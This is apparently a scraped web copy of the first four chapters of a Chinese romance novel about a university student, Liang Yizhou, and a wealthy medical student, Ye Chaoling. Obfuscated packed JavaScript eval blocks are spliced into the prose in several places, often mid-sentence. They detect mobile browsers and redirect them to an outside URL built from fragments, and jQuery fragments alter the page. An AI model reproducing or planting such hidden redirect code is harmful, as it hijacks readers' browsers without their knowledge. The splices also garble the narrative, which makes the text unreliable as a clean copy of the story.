《花灯游》 1. 别墅 01、 梁宜舟耷拉着脑袋,嘴里正吃着快速融化的冰淇淋,步伐越走越缓,只听并肩而行的大学室友程如梨没好气地抱怨:“这个人怎么狗眼看人低啊!” 梁宜舟被她喊来室外打了一个多小时羽毛球,此刻眼神已经恹恹的失去了焦点,即使她发呆放空的模样经常激发室友抓拍的欲念。 但是正在气头上的程如梨却顾不上这个,没好气地继续抱怨:“只是个别墅区的保安,又不是业主!拽得跟个二五八万似的,我们只是进去捡个羽毛球就出来,压上学生证还不行?几步路的距离,我们能干什么坏事呀?” 梁宜舟声音仍是淡淡的,没被甜腻的奶油影响:“没事,今天球打得也差不多了。” “不行,太欺负人了!哪有这样的,明明就在眼前了,死活不让捡,我们不进去就是了!”程如梨左眉一扬,不服气地挽住梁宜舟的胳膊,转身就拉着她往回走:“今天必须让他给我捡回来,我倒是要看看一个小羽毛球能打扰业主什么!” 梁宜舟为难地看她一眼:“要不我给你买一盒新的……” 程如梨喋喋不休:“不是钱的事儿,谁还缺这一个羽毛球了,就是看不惯他们瞧不起人的样子!他是没碰到我妈,不然非得给他头骂掉,你就陪我回去找一下那个保安嘛!” 梁宜舟还想张口再说些什么,想到平时程如梨的妈妈经常周末开车来探望她,宿管阿姨维修宿舍漏水的事情上怠慢了几天,也是程妈妈风风火火出头解决。 她吞咽下最后一口令喉咙有点发腻的巧克力,心里一软:“好吧,我们去看看。” 等再次回到玫瑰栖院那边,保安正刷着手机短视频,连保卫处的玻璃窗都不愿意主动打开,待程如梨敲了几下,他才不情不愿地推开半截:“怎么还回来了?” “我说大哥,我们的羽毛球就丢在那棵杏树底下,我们从这都能看见——”程如梨往别墅内明确的方向一指,“那儿!就那家门前!捡个球三分钟的事情,不耽误您工作!” “放你们进去就已经是耽误了!” 梁宜舟轻轻拉扯了下程如梨的胳膊,微笑着对保安大哥说:“大哥,我们不进去,您看看方不方便帮忙捡一下,球不值钱,就是这样落在业主门口也不太好,您看呢?” 保安大哥抬眼瞥了她一眼,心生较量:“你们不在这边打球就不会落在人家门口。” 程如梨闻言连声音都提亮了几分:“你这人是不是有毛……” 只见梁宜舟伸手在她的胳膊上轻轻捏了一下,足够及时,打断了她脱口而出的抱怨。 梁宜舟长吸了一口气,犹豫了几秒,半拉开自己的背包侧面口袋,摸索了几秒,将两根烟轻捏在指尖,压低着视线从玻璃窗递过去:“给大哥添麻烦了。” 保安大哥面不改色地接下,没有丝毫推辞之意,轻蔑笑了下:“去吧,快点儿啊!我这工作也不好做!要是年轻漂亮的小姑娘都这么来说,岂不是这个小区都装不下了……” “好的,我们很快。” 程如梨哪见过这场面,一下子咋咋呼呼的锐气就被人卸了个底朝天,刚呆滞地跟着梁宜舟迈了一步便被保安大哥制止:“诶?你就别进去了啊,进那么多人干什么?” 梁宜舟回头递给她一个安心的眼神,面孔平静:“没事,我马上就回来。” 虽说就在进门左转往里走几步那一户,待梁宜舟真正穿过繁花复古铁门踏进小区那一刻,她才发觉目之所及之处都被打理得很规整。 就连小路边的一丛丛绣球花都是多色□□着的状态,落地衰败的花瓣都极少见。 梁宜舟茫然地走了两步,有种心底失重的急刹车感受,弯腰捡球时有清风迎面,刚好将她有些黏湿的齐肩长发吹起。 站起身时,眼前几乎从没有颜色的空旷之地转而变成清晰的淡白色,是一个男生的白T恤,他正在一步之遥望向自己。 他眼神没有任何意味,只是这样淡淡地看着她起身,他头发乌黑,肩颈白皙,五官站在树影遗落的光斑里显得格外清晰。 银亮发光的游鱼从梁宜舟的眼前一闪而过,是一道挪动的太阳光,像是刻意提醒她回神,她几乎下意识地后退半步。 他声音清冽:“抱歉。” 她微微怔神:“没事,我来捡球。” “哦。” 梁宜舟飞快地看他一眼,眼神又因为身高差落回到他的脖颈之间:“这是你家?” “嗯。” “哦……那是我应该抱歉,我打球不小心落在了你们家门前。”其实准确来说,应该算是一个约定俗成开放式的小院子。 也有一些业主修葺了低矮的竹篱,将这一小片区域铺上了好打理的草皮。 “没关系。” “那我……” 梁宜舟话还没说完,身后小跑过来的保安大哥便讶然地迎上来寒暄:“朝陵回来啦?这两天一直没看到叶院长,都没能感谢上!我母亲胰腺癌手术很成功,后天就出院,全托您父亲的福,我们娘儿俩真的是万分感谢了。” 叶朝陵好似并不知情,眼神只是沉默下去,声音冷静:“我父亲出差了。” “哦哦,难怪,我每天都仔细看着呢,生怕错过您父亲的车,道谢都没机会!”保安大哥挠了下光滑的鬓侧,自言自语道:“不方便、也不可能问您要联系方式,我再等等吧。” 梁宜舟目不转睛地盯着保安小哥飞起的那一点皮屑,不易觉察地轻笑了一下,转身便是要走,感知到背后有一道眼神。 梁宜舟礼貌真挚地回眸,只盯着叶朝陵那张极好看却没有丝毫表情的脸:“再见。” “嗯,你住?” 保安大哥忽然抬了下手,梁宜舟明显看他一脸不情愿又无可奈何的神情,微微扬起下巴对着叶朝陵说:“停车场那边哦。” 均价十二万的小区没见到门前停一辆车,总不能没有停车场吧,梁宜舟自信之余,又迅速转过身,没有再敢端详他们的神情。 顺利拿到球走出玫瑰栖院,程如梨左右打量了她一下:“舟舟,你有烟啊……” 梁宜舟摸着耳垂笑了一下,侧过脸认真过她说:“嗯,我爸爸的,经常戒烟失败,我如果看到了就会把烟藏起来。” 程如梨顺了顺自己的心口,笑着说:“那我就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093615|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放心了,我倒不是不能接受女性抽烟,就是挺难想象你抽烟的,你别误会我啊。” “没事,我当然理解你的意思啦。” 程如梨很快恢复好心情,着急问:“你们刚刚在里面说什么?我看好几个人,可惜眼睛不能拐弯,没太看清,但是好像有个大帅哥!” 梁宜舟没有吱声,不需要刻意回想也能立即想起刚刚碰到的那个可能叫“叶朝陵”的少年。她不确认这几个字怎么写,但是光是听起来,念起来,就已经足够好听。 那天过后,梁宜舟周末晚上经常散步走到玫瑰栖院附近,或是办事选在附近。 她没有心存一丝偶遇的侥幸,纯粹喜欢沿着这一面花瀑墙面漫步。 那些摇曳的花束饱满垂落,却在这里变得再寻常不过,走到尽头,回家便要入小巷,初夏的蛾虫密密匝匝成团扑面,令人烦躁躲闪。 在梁宜舟伸手挡开那一秒,她看见不远处已经靠在路灯边等她的“熟人”。 其实她只知道他叫“陈屿”,跟他联系自己的社媒ID一致,外放信息写着19岁,跟她一样,其他内容她不知悉也不感兴趣。 管他呢,是一个安全靠谱的客户就行。 他垂着眼睑,没有要识别身份暗号对人的意思,直接问他:“总共多少钱?” “算你550。” “这么有零有整?”他长相偏硬朗,整个人闷在昏暗的灯光里,牙齿显得格外白净。 梁宜舟轻微撇了下巷子尾的摄像头,不确认是不是开着的,想快速完成:“嗯,行不行?” “好,下次有优惠吗?” 梁宜舟面无表情地说:“下次再说。” 等人走了,她才想起来其实就算不留手机号码,也可以加个微信,其他平台不常看回复不及时,但是一抬眼人已经不见了。 再回头预备回家时,却发现又是那双熟悉清冽的眼神,梁宜舟没料到这条脏乱的巷子会有人经过,她怔在原处,一动不动。 小巷子狭窄得密不透风,梁宜舟擅长不外露情绪,处理难事,她露齿而笑:“又碰到你了。” 梁宜舟往前走了几步,就算是有成群的蚊虫扑上来,她也没有狼狈得伸手遮挡。 叶朝陵垂眸,似有些不好意思,却还是轻声问她:“是有什么麻烦吗?” “啊?”梁宜舟瞬时明白他指的是什么,却还是装作恍然大悟的样子,语气里多少带着点嗔怪:“哦哦,那个啊,我弟弟。” 叶朝陵就这样平静地看着他。 梁宜舟保持微笑着,张口就来:“我亲弟弟,一直问我要零花钱,总是偷偷去网吧,我爸妈不同意,抓到了可要挨揍的!” “哦……这样。” 梁宜舟平静回,丝毫没有反问的语气:“那不然呢?我爸妈管得可严格了,各方面……连晚回家都会批评我的哦。” 叶朝陵不再多话,只是淡淡笑了一下,甚至有点像是哭笑,梁宜舟表面无波澜,心里实则慌乱如麻,根本没有思绪分出去多想。 如同上次那般,她将仓促化作骄傲。 提前离开。 再见哦。 2. 家教 02、 梁宜舟回到家,门刚一打开就冲出她同父异母亲弟弟梁琰的尖锐叫声:“姐!” 梁宜舟无奈抬眼,她知道梁琰如此兴奋并非因为她归家,而是她承诺梁琰只要期中考试数学考到满分,她就把自己的旧手机借给他玩游戏。 “鬼叫什么!”梁琰的母亲陈艳闻声赶忙从厨房走出来,双手在身前有油渍印子的围裙上搓揉了下,动作粗鲁,语气却四平八稳:“人家又不待见你,天天冷着张脸,你倒是爱往上贴!” 梁琰只是个五年级小学男生,只知道姐姐梁宜舟的亲生妈妈已经去世了。 在他的认知里,也许陈艳不喜欢梁宜舟,但是她不喜欢的人有许多,就算是久雨放晴她也会嫌热,但是这都不影响这个家里所有人爱护他。 他觉得生活挺幸福也挺正常的,至少写进语文作文里他都这样写。 “妈妈!我要去找姐姐玩!”梁琰被陈艳眼疾手快拉住校服上衣,差点勒到他的脖子,令他声音变形得怪异:“姐姐好不容易回家!” “去什么去,她回家能有什么好事?不是偷东西就是要钱,你少跟她混在一起!” 梁琰加速挣脱,嘴上也不饶人:“你不是说姐姐学习特别好,要向她学习吗?还经常说——我怎么就生了你这个笨儿子!” 梁琰学得惟妙惟肖,尤其是那嫌弃又市侩的语气,气得陈艳跳脚,抓着他的胳膊就往他自己房间拖,砰一声等门带上才消停。 梁宜舟在房间里吓了一惊,却没有太多反应,低头继续回复微信,眼睫乌压压地盖过眼睛,垂眸时显得格外深邃和沉静。 陈艳说得也没错。 她自从母亲去世后,就奋力考上了慕城一中,得知本地生不允许申请住校,宁可拿着奖学金去了名气稍次只能勉强挤进第一梯队的慕城七中,正好,还距离家很远。 如若不是父亲打电话到学校,或是碰到寒暑假,平时梁宜舟是不会回家的,哪怕是放长假。 读大学后她就开始兼职赚取生活费,偶尔她父亲也会背地里偷偷给她塞点钱。 但是同时又会用责怪她的语气叮嘱她: 学生就是要专心读书,不要跟人攀比,不要省钱,但是也不要乱花,更不要没事就问陈艳伸手要钱,她一个人守着一家小店成天十几个小时卖米线也不容易。 梁宜舟从不解释,起初觉得委屈,甚至整夜内耗难以入睡,现在早已不会了。 她不理解什么叫不要省钱,但是也不要乱花,更不明白什么叫没事就问陈艳要钱。 陈艳连每个月的生活费都不愿意按时打给她,回回都要她张嘴去要,好似她的自尊心连这一千块钱都不值。 但比这个更难堪的,是陈艳轻易用“忘了给”这样的理由,生疏却又默契地提醒着她,她是个可怜的孩子,她没有妈妈了。 谁会在意她有没有钱吃饭! 梁宜舟想到这里,仍会有呼吸不畅的轻微痛苦感受,她决定不想,加速回复找家教的客户,礼貌耐心地询问对方: 虽然现在时间不早了,但是方便晚上就面试吗?我可以明天或者后天就上岗。 时间刚到七点五十。 过了两秒,对方便爽快回了个“OK”的手势表情,梁宜舟忍不住弯了弯嘴角,替自己挣口粮的感觉真不赖! 她轻手轻脚离开房间,敲了一下梁琰的房门,门缝里只露出一双圆溜溜机灵的大眼睛,两个人一句话没说,便完成了一手交钱,一手交货——烟和旧手机。 陈艳觉得厨房外有些刻意安静,她利落地切下最后一块冬瓜,探头往外瞄了一眼,只见梁宜舟已经蹲在门边迅速穿鞋,预备离家。 陈艳看到她那张漂亮得过分又总是对着她送丧的脸就来气,喉结一动,咽下一口气,语气怀疑却响亮地喊了下梁琰:“梁琰?” “啊?干嘛啊?” “你在干什么!” 梁琰的声音有远变近,好似堵在了房门背后:“写作业啊干什么!” 梁宜舟被他那一道仓皇又理直气壮的小孩声线逗笑,背上包就立刻离开家。 跟玫瑰栖院的年轻妈妈约的是晚上八点半,梁宜舟担心迟到,缺乏基本的礼貌和诚意,咬着牙在下班晚高峰打了出租车,路上还不忘借手机相机整理了下自己的头发。 结果对方来接待的却是住家阿姨。 她只负责照顾这家刚满一岁的小儿子,做饭和大女儿的照看不归她负责。 也照顾不过来。 住家阿姨语气冷淡,稍显疲倦,机械化的语气介绍着:“你管姐姐写作业就行,早上有做饭阿姨单独上门,一次性会做一整天的,姐姐中午在学校吃,晚上你给她热一下饭,要是当天姐姐心情不好,可能就需要点个甜品或者偶尔吃吃麦当劳,这些这家太太都好说话的……” 梁宜舟目光定住,很规矩地手心搭在膝盖端坐在客厅沙发上:“哦,这样。” 还需要做额外的事情。 “对,顺手的事情吧,又不需要你做。”住家阿姨语气轻飘飘的,抱着孩子在客厅里踱步:“姐姐写作业的时候,我可能会带孩子出去散步,提供安静的环境,不过你们也得抓紧点时间,天气越来越热,蚊虫也多,小孩子也不能一直待在公园或者商场里吧!” 梁宜舟一动不动,没有直接答应。 住家阿姨又说:“大概这些,反正这家人挺大方的,脾气谁都有,我们做好自己的事情就行了,姐姐写作业是费劲了点,但是个好孩子,反正你只要赚到钱就行了不是么?” 哦。 这次梁宜舟听明白了,这份美其名为“家教”的工作更像课后消耗学生时间的“小饭桌”,教她写完当日作业,再顺手热个饭就行。 还能在这座花园里穿梭。 住家阿姨盯着看她一眼,忍不住夸赞:“听太太说你是慕城大学的哦?” 梁宜舟笑了下:“对,来做家教兼职。” “那是高材生了!我儿子要是像你学习这么好就好了!那我也不算在外面白辛苦!” 住家阿姨露出一些荒唐的笑容,“但是没想到学习好的女孩子有长得这么漂亮的,还要你出来兼职,家里不止你一个孩子吧?” 梁宜舟面色如常,声音却冷淡:“算吧。” “我一猜就是!” ………… 梁宜舟准备骑一段共享单车回学校,虽然也不是不着急回去,但还是忍不住在这条很容易感到平静的花园小径里走一走。 今天不同,高档别墅区的入口“重兵把守”,很少见这样热闹的人来人往。 听正在干活的安装师傅不理解却又新奇地抱怨说:“真不知道这些有钱人怎么想的,怎么还能抓几只鲨鱼放在室外观赏……” 有人反击:“你管那么多呢,别说鲨鱼了,有钱人搞不好以后抓几只鳄鱼来池子里养着看,没什么稀奇的,还有在家里建水族馆的。” “真的假的?” “当然是真的,那个滤水系统做得特别复杂,客户是个植物学家,不是我们普通人能理解的,不过我看也是钱多了没处花。” “可不是……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在得体询问以后,梁宜舟才将手机蓝牙与耳机连上,只不过三秒,她就侧过头微微眨了下眼说:“你要不要听?加上背景音乐会忘记自己其实是在一个小区里,完全忘记那种。” 叶朝陵观察了几秒她的反应,缓声问:“方便吗?” “当然!我们不要再互相方不方便了……等下可以请你吃整条街最好吃的煮方便面倒是。” 叶朝陵戴上耳机,还没来得及回答。 梁宜舟已经眉心一动,局促了几秒:“我妈妈对我的饮食健康管理得太严格了,就格外想吃垃圾食品,吃完高热量的东西心情都会变好。” “哦。” “你呢……要一起吃吗?”梁宜舟的目光转移到正在游动甚至会变色的小鱼群上,云淡风轻的说:“你看起来像没吃过垃圾食品。” 叶朝陵看她一眼,微微一笑,很少见的露出起伏的反驳情绪:“谁会没吃过垃圾食品。” 梁宜舟哽住两秒:“也是哦。” 声音沉寂,叶朝陵恢复淡淡的语气,自若地问她:“请问刚刚那首歌叫什么?” “这首?”梁宜舟往前按回。 “嗯。” 梁宜舟说:“《APoemforYou》。” “谢谢。” 梁宜舟咽了一下口水,特意别开眼,捏起拳头轻声问:“那去吃面?” 叶朝陵偏过头看她,一直游鱼缓慢划过,透明颜色闪烁在梁宜舟眼中,他认真说:“嗯,那就去吃会让你心情变好的东西。” 3. 贴纸 03、 梁宜舟口中整条街最好吃的煮方便面果然在此刻人气爆棚,汤底和面饼跟普通方便面无异,只是他们家卤菜和凉菜都是当日供给的新鲜菜,添在面上哪怕只是海带丝,也格外鲜香四溢。 人太多太热。 所以她选择了先买两杯出餐快的奶茶。 叶朝陵没多言,但是看起来喝得很慢,甚至就一两口,更关注比明信片还精致的包装,还有搭配赠送的古风感十足的贴纸。 梁宜舟说:“这几年奶茶品牌很卷。” 叶朝陵的目光仍停留在当前的杯套上,满目春意黯然,点缀繁星白花,比手绘还复杂。 “很精致。” “嗯,名字起得也很浪漫,什么醒时春山、落落、金桂浮雪……新品出的也快。” “哦,我不太了解。” 在喧闹嘈杂的环境里等位很难展开话题,却也很难像沿街步行那样安静又自然。 梁宜舟只好说:“算了,看来老天爷还是在帮着我妈妈监督我,人太多了!” 她说话声很小,软乎乎的像是撒娇的小朋友,并非故意为之,却也算是刻意发挥自己的声音优势,娇嗔抱怨着:“才不要等了!” 叶朝陵对吃的没有研究,也不怎么讲究,平时也只是饱腹进食而已。 “那就不等了,我本来也不是很饿。” 梁宜舟抿了抿唇:“那就吃个猪肉脯面包?刚出炉的会有一种脆脆的香。” 顺着她手指的方向看过去,现在正是加班打工人和下晚自习学生聚集的时间点,用梁宜舟的话说——美食是最低单位的快乐因子。 “人看起来也很多。” “是哦。” 叶朝陵看了眼时间,和几条他一直未回复的微信弹在手机桌面,还有眼前女生有些不耐烦的呼着气,他竟之前一直没发觉。 便柔和且疏懒道:“没关系,也不是非得吃点什么,举手之劳而已。” “刚刚还说陪我吃会让我感到开心的食物。”梁宜舟的语气公主气十足,她面上带笑却是严肃的声音,扭头便往巷子口张望,“很晚了哦,不吃就在路口散了吧。” 叶朝陵忽然意兴阑珊,根本没有说话,跟梁宜舟设想的以退为进的结局不同。 叶朝陵只是问:“回家吗?” 梁宜舟的心情却因为这句话而变得忽高忽低,她当然想接一句“现在就回”,继而自然而然地跟他并肩返回。 但是玫瑰栖院她又进不去。 那只是你家。 梁宜舟如实说:“回学校,明天就周一了。” 叶朝陵问:“你大几。” “大一。” “哦,那一样。” “你们有早八?” 梁宜舟说话语速偏慢,但是呛人的功夫很有心得:“没有,但是我不喜欢早起去学校,你知道的,司机送女学生到大学前停车,太容易招惹是非口舌了,我还不想淹死在口水里。” “这么严重吗……” “当然了,男生可能没有这种困扰吧。”梁宜舟按照自己设想的高干精英剧本,再自然不过地评价,“毕竟帅哥配上才华啦、财富啦、个子高啦,都是必杀技,不是么?你应该很懂啊……” “没研究过这个。” 他这样轻描淡写又淡泊名利的样子,很轻易击中梁宜舟的自尊心,好似霸总在观看偶像剧时,没有觉得截停直升机的剧情很可笑又浮夸,反而在真诚疑惑发问—— 不能直接派飞机去接女主角吗? 直升机吵死了。 梁宜舟心说,你看,就算是此刻装作高干文的编剧,作弊任由她主导所有人的详略戏份,她也写不出真正有钱人的场面和命运。 梁宜舟闷哼了一句:“谁研究这个了。” 叶朝陵没有在意,面容仍是淡淡的,要是换作梁琰,可能都要问:“你吃错药了这么冲!” 梁宜舟一路没有回头,只觉隔了几分钟才有人影在身侧,已经久到她可以走出巷子口,随手拦了辆出租车。 在坐定将背包放在腿上,双臂抱紧后,才仰起脸对叶朝陵粲然一笑,仿佛刚刚无事发生。 “再见,那就我先走了哦。” “再见。” 注意安全要说吗?甜美的言语就在嘴边,但是梁宜舟决定不说,他们没有那么熟络,至少又不是碰面了非得吃点什么东西的关系。 梁宜舟特意没有往外看,但是却不小心看到打表计时的起步价,这比看到原来越远的叶朝陵还觉得心酸,早知道就不装这个逼了。 她平时根本不虚荣,也不怪异,甚至可以说得上是勤勤恳恳在兼职和学习。 每次一碰到叶朝陵就好像拿了今夜限时扮演公主的剧本,但凡气场弱了一点,都像是没接上最佳男主角的对手戏。 “唉。” 梁宜舟叹了口气,认命似的安慰自己,好歹找到了一份时薪不菲的家教工作,而且还只需要盯着大小姐完成老师布置的作业。 她不由自主地抱紧胸前的背包,蹙着眉像是在懊恼,手指却触碰到丝滑贴纸的质感,她低下头看了眼:是刚刚买奶茶送的手绘贴纸。 不同的是,她将空白的几张塞进了包里,这张却写了三行小字—— 抱歉,是我扫兴。 但是谢谢你的奶茶。 叶朝陵留。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093617|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“诶?这是什么时候写的……”梁宜舟情不自禁笑了起来,回头看了看早就空荡荡的窗外街道,将贴纸小心翼翼地撕了下来,掏出纸质笔记本,火速捋顺贴了上去。 合上后紧紧用力压了压,担心没有粘紧,颅内闪现叶朝陵的名字,一笔一划,具体写法,以及她居然可以清晰想起他的面容轮廓。 梁宜舟被自己吓了一跳,一直回到宿舍都保持着走神发呆的状态。 坐在上铺床上正看着电视剧的室友程如梨说:“大救星舟舟!你可回来了,给我接点水!” “好……”梁宜舟将背包放下,伸手接过头顶递过来的瓷水杯,鼓捣了几下开水阀,“梨子,没水了,我得快点打送水的那个老哥电话。” “这周谁值日啊!怎么没提前订!” 梁宜舟按亮屏幕,顾不上“追责”,抓紧说:“快十点半了,我得赶紧打电话。” “辛苦宝贝!电话你储存了吗?没有就在那个台灯底下压着的,有张便签纸写着电话。” “唉。” 程如梨将脑袋从床帘上紧急弹出来,忙关切问:“怎么啦?!怎么唉声叹气的?今天面试不顺利吗?还是回家又受气了……” 程如梨跟梁宜舟是高中校友,虽然不同班,但是线上没少聊,也算是网友奔现成为了大学同学,所以对梁宜舟的家事还算了解。 程如梨经常兴冲冲要帮梁宜舟出头,尤其是在陈艳难为她的时候,这点她很感激,但是更多时间还是要靠梁宜舟来解决问题。 “没有,面试挺顺利的,碰到一个好说话的富婆妈妈,只需要有人给她看孩子就行。” “那就是家里的事情?” 梁宜舟摇摇头,哀怨地看了眼程如梨:“你说都是小纸条,怎么不给我写个联系方式……” 程如梨笑话她“读书读傻了吧”,但转念一想前言不搭后语又不像“嘴甜心硬”梁宜舟的风格,抓紧问道:“你今天是不是路上碰到crush了?这么反常,都没见你这么丧气过!” 梁宜舟无语:“……我哪有crush啊。” “就是在问你是不是碰到了!” 梁宜舟“哦——”一声,恢复神情,摆摆手故意卖关子:“有是有,但……” “但什么?!你要急死我啊……是什么大帅哥可以入得了你的眼!我要追你们的偶像剧!” 梁宜舟淡淡说:“但不是今天碰到的。” “那是昨天?” 昨天?! 那不就是她拉梁宜舟去打羽毛球的昨天! 程如梨对着进洗手间准备洗漱的梁宜舟背影高喊:“今晚来姐姐床上睡!姐姐好好跟你谈谈少女心!” 4. 话剧 04、 趁宿舍其他两位室友去外省高校观摩高年级大神参加模拟法庭比赛,昨晚梁宜舟跟程如梨躲在被窝夜聊到凌晨三点,两个人中间夹着一个花生形状的抱枕,谁都没睡安稳。 梁宜舟一米六三被一米七二的程如梨“锁”在墙面,她更是起床后感觉腰酸背痛像是被人殴打了一顿,连刷牙都在单手撑腰。 程如梨没听见洗手间里特意调小的细微水声,只有梁宜舟间隔几分钟的呼唤: “梨子!快起床!” 程如梨将头蒙在被子里,尝试提议:“要不然思修课我就不去上了,也不是专业课,反正几个班挤在一起也不一定点名。” “你别抱有任何侥幸心理,这个老师给我们上了四节课,每节课都点一百多号人的名,而且明确说过,只要抓到平时成绩就是0分。”梁宜舟有理有据地说,“点名概率100%!” 程如梨冲她嘿嘿一笑:“这个老师好有病……可是舟舟宝贝,这个世界没有百分百的事情……” 梁宜舟纠正说法:“目前点名概率百分百。” “我们要对未来乐观一点!”程如梨将被子拉至下巴底下,双手交叠在小腹上,心满意足地安排着:“这样吧,如果真的点名了,那你就直接给我打电话、发微信!” 梁宜舟无语地擦了把脸,靠在门边探出头:“你要是睡着了,就算是着火打雷你都醒不了……打电话有什么用。” 程如梨拌嘴的几秒里面又进入了梦乡,梁宜舟扯了下嘴角,不再出声。 反而是轻手轻脚出宿舍之前,程如梨又囫囵祈祷着:“只有狼狈素颜的时候偶遇crush是百分百会发生的,点名应该不会……” 梁宜舟笑着安慰她:“好啦!我会看着找掩护给你答到的,再救你一命。” 程如梨的“预言”很快得到验证。 这位思修老师在第五次上课时,不止没有点名,甚至选择了几位上节课没有到课堂的同学回答问题,只要不是天生的哑巴患者,随便说几句话就给他平时成绩加上几十分。 毕竟挂科了是让老师更头疼的事情。 梁宜舟上完思修课,原本计划去图书馆看书,待到中午饭点,下午直接去上专业课。 半路却接到社团电话,她上学期大一新生刚入学时其实对这些文娱活动不是很有兴致,只是考虑到参加英文戏剧社可以加学分,其次还能在西语学院的环境里培养语感。 面试时正逢梁宜舟肺炎在家隔离,吃了药喉咙沙哑,任谁听了都能感觉到拉丝的痛感,便聊了几句就通过,分去了宣传部。 有学长学姐现教PS软件,日常主要是做不同话剧剧目的宣发海报和校内公众号运营。 图文编辑很容易上手,比较困难的是话剧社副社长见到梁宜舟本人的外形后,一直劝说她转去表演部,甚至要专门给她量身定做一部剧。 梁宜舟再三婉拒,令社团不少人不悦。这个消息传进别的院系以后,大家只顾窃窃讨论梁宜舟的美貌,冥冥中又形成了一种对立观察。 “小舟,毕业大戏的海报定稿了吗?” 梁宜舟坐在社团办公室里,点开PS合并图层,微微仰起脸看向副社长:“对,我们部长已经通过了,主创人员在群里也没有其他反馈。” 副社长皱了下眉,握着鼠标放大缩小看了看:“底图是手机拍的?好糊的感觉。” “不是,是拿尼康单反拍的。” “啊?谁拍的?”副社长将鼠标向前不轻不重地一推,煞有其事的说:“要是底图和站位拍的不高级,就没有什么修图设计的空间了。” 这点梁宜舟也很赞同。 但是这张图并不是她拍摄的,她只是个部门内的平面设计,海报包装方案磕磕绊绊出了六版,最终在七嘴八舌里宣传部部长大发雷霆,敲定了其中一款类似古典悬疑剧本杀风格的海报。 由于是六月的毕业大戏,不止社团成员参与排演,更有艺术系、中文系同学参与,经费得到学校和冰红茶品牌赞助,解决了每年排戏最大的困境,现在要做的最重要的事情转变为—— “高举高打”,让宣传部尽量在校内外大学城片区营造出“一票难求”的声量。 在梁宜舟熬夜修改方案时,程如梨无语地吐槽:“要是靠你们部门三个人就能做到……一票难求,我觉得毕业你就去看艺人宣传算了,各大经纪公司、自媒体公司抢着要你。” 梁宜舟说:“也是哦,就当积累技能了。” 程如梨抱着手机侧躺在床上,叹了口气:“你这个心态无敌了,凡事发生皆有利于你?不过也没错就是了,我们这种调剂来心理学专业的,除了搞学术,就是搞抽象精神疗法……哦!不对,应该是叫富婆们的心理咨询。” 梁宜舟听到这里才停下鼠标,转头一字一顿地纠正说:“我不是调剂的哦。” “是,是,你这心态,就适合干这个。” 梁宜舟仍旧忍不住苦笑了一下:“光线上设计倒也还好,主要还得去线下做一大批素材,打样费也挺贵的,还不知道打印出来什么效果。” 这些可能存在且确实逐一发生的问题出现在梁宜舟眼前时,她反倒格外镇静,先是从线上选定了打样供应商,后又穿街走巷找了家线下小规模广告印刷店,详细对比价格和成色质感,整理成提问提供给了社团相关人员。 就连需要在小吃街、商超、街角组装放置的广告牌,她也熬夜在社团办公室拧着螺丝,一一处理好,只是没想到,天公不作美。 甚至是添乱。 大风作祟,暴雨来袭,那些廉价广告牌很快被吹倒在地,大学城治安的管理维护人员很快到场,责令尽快全部搬走。 梁宜舟抱着一摞广告素材,太沉了。 根本没办法顶在头上遮雨,连勉强抱起小跑都很困难,几乎是意志力一松懈就会全部扔掷在地的程度,梁宜舟咬着牙向前。 抱着重物也不太方便沿着门店躲雨而行,开关门甚至会引发老板不悦的眼神。 梁宜舟就这样心一横淋着雨缓慢往回走,只希望别淋到包里的电脑和手机。 人影从身侧匆匆而过时,同时带来的是手背被人稳稳托住的温热力度—— “我来。” 叠在一起遮住视线的广告牌被挪开,叶朝陵的面容逐渐清晰,像是深夜修图找参考慢慢点开的海报里出现的真正的男主角。 “……你怎么在这里?”梁宜舟有些呆愣地松开手,又想抓紧拿回去,着急道谢,“谢谢!” 叶朝陵没有给她反应的机会,东西已经被他轻易地抱在身前,停顿了一步,抬起胳膊往上送了送:“回学校看到你。” “你也是慕城大学的?” “嗯。” 梁宜舟想起上次碰面,他提过,他也大一,但是没想到是同一所学校。 “你是哪个学院的?” 叶朝陵说:“医学院。” “啊?” “怎么了?”叶朝陵淡淡说,“你往里走一点,别淋雨。” 半步之隔,他自己却没有往里靠。 “没事……” 叶朝陵淡漠又傲娇的气质确实很像医生带给人的观感,梁宜舟只是惊叹,长得如此漂亮的男孩,住在别墅里,将来还要当主导命运的医生。 上帝真的好不公平。 他这样偏爱着叶朝陵。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093618|195554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 